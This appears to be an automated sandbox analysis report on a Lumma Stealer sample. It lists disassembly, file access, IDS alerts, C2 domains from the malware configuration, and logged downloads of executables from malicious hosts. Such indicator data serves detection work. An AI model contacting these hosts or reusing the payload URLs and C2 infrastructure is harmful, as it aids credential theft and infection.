Binary string: C:\Users\Scarrled\Desktop\ConsoleApplication1\Release\ConsoleApplication1.pdb source: T4qO1i2Jav.exe, 00000000.00000003.2083476262.0000000003E21000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083542786.0000000003BC8000.00000004.00000800.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000000.2084331673.0000000000224000.00000002.00000001.01000000.00000007.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148597112.0000000000224000.00000002.00000001.01000000.00000007.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255916915.0000000000E34000.00000002.00000001.01000000.0000000B.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000000.2142879657.0000000000E34000.00000002.00000001.01000000.0000000B.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2421535074.0000000000224000.00000002.00000001.01000000.00000007.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000000.2365732428.0000000000224000.00000002.00000001.01000000.00000007.sdmp

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EEDC7 FindClose,FindFirstFileExW,GetLastError,	5_2_006EEDC7
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EEEA3 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	5_2_006EEEA3
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Code function: 5_2_006EEDE7 FindFirstFileExW,	5_2_006EEDE7
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Code function: 6_2_00216ABC GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	6_2_00216ABC
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DEDC7 FindClose,FindFirstFileExW,GetLastError,	7_2_012DEDC7
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DEDE7 FindFirstFileExW,	7_2_012DEDE7
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Code function: 7_2_012DEEA3 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_012DEEA3

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	0_2_008A6170
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then push eax	0_2_0088C36E
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	0_2_008BE690
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	0_2_008AC6D7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_008AC6D7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	0_2_008AC6D7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	0_2_008AC6D7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	0_2_0088A960
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [edx], bl	0_2_0088CE55
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_008BDBD0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov edx, ecx	0_2_00889CC0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	0_2_008BDCF0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00897E82
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	0_2_008ABFDA
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	0_2_008ABFD3
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_008AA060
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	0_2_008A5F7D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov ecx, eax	0_2_008A2270
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	0_2_0088C274
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_008B45F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp al, 2Eh	0_2_008A66E7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008A86F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_008AA630
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008A0717
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_008A0717
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008A86F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_008BCAC0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_008AAAD0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	0_2_008B6B20
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	0_2_00882B70
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_008BCAC0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_008BCCE0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_008BCD60
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	0_2_00896E97
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov edi, eax	0_2_00896E97
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	0_2_0089CEA5
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_008BCE00
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	0_2_00894F08
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov ecx, edx	0_2_00894F08
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then add ebx, 03h	0_2_008A8F5D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov edx, ecx	0_2_0089D087
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_008AD085
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_008AD085
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov edx, ecx	0_2_0089D074
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	0_2_00897190
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	0_2_008A92D0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov edx, ebx	0_2_008A92D0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov eax, dword ptr [008C4284h]	0_2_008A5230
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_008AB3DE
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_008AB3DE
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_008A7307
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx ebx, bx	0_2_008A536C
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_008AB4BB
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_00887470
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_00887470
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then jmp eax	0_2_008AB475
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	0_2_008A96D8
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	0_2_008A7653
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	0_2_00896E97
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov edi, eax	0_2_00896E97
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov ebx, eax	0_2_00885910
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov ebp, eax	0_2_00885910
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	0_2_008A5920
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	0_2_0089597D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_00895ADC
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	0_2_00899C10
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	0_2_00895EE0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008A1EE0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	0_2_008BDFB0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	0_2_008A5F7D

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.4:61200 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.4:61200 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.4:53193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.4:53193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.4:54475 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.4:54475 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.4:62926 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.4:58534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.4:58534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.4:54389 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.4:54389 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.4:62926 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.4:52216 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.4:53382 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.4:52216 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.4:53382 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49736 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: se-blurry.biz

Performs DNS queries to domains with low reputation

Source:

DNS query: itsrevolutionmagnus.xyz

Source: global traffic

TCP traffic: 192.168.2.4:49748 -> 89.23.100.42:8293

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 172.67.182.218:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49751 -> 172.67.161.29:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49747 -> 172.67.161.29:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.182.218:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49839 -> 172.67.161.29:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50070 -> 172.67.161.29:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50201 -> 172.67.161.29:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49750 -> 172.67.182.218:443

Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.42

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Code function: 5_2_006E605A InternetOpenA,InternetOpenUrlA,InternetCloseHandle,InternetReadFile,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,std::ios_base::_Ios_base_dtor,

5_2_006E605A

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Virtualized\C

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /Shnnfd.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: itsrevolutionmagnus.xyz
Source: global traffic	HTTP traffic detected: GET /Nkeeei.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: itsrevolutionmagnus.xyz
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Cache-Control: no-cacheHost: gamertool.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Nkeeei.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Host: itsrevolutionmagnus.xyzCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Cache-Control: no-cacheHost: gamertool.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Cache-Control: no-cacheHost: gamertool.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Cache-Control: no-cacheHost: gamertool.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Cache-Control: no-cacheHost: gamertool.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Host: gamertool.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Host: gamertool.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Host: gamertool.euCache-Control: no-cache
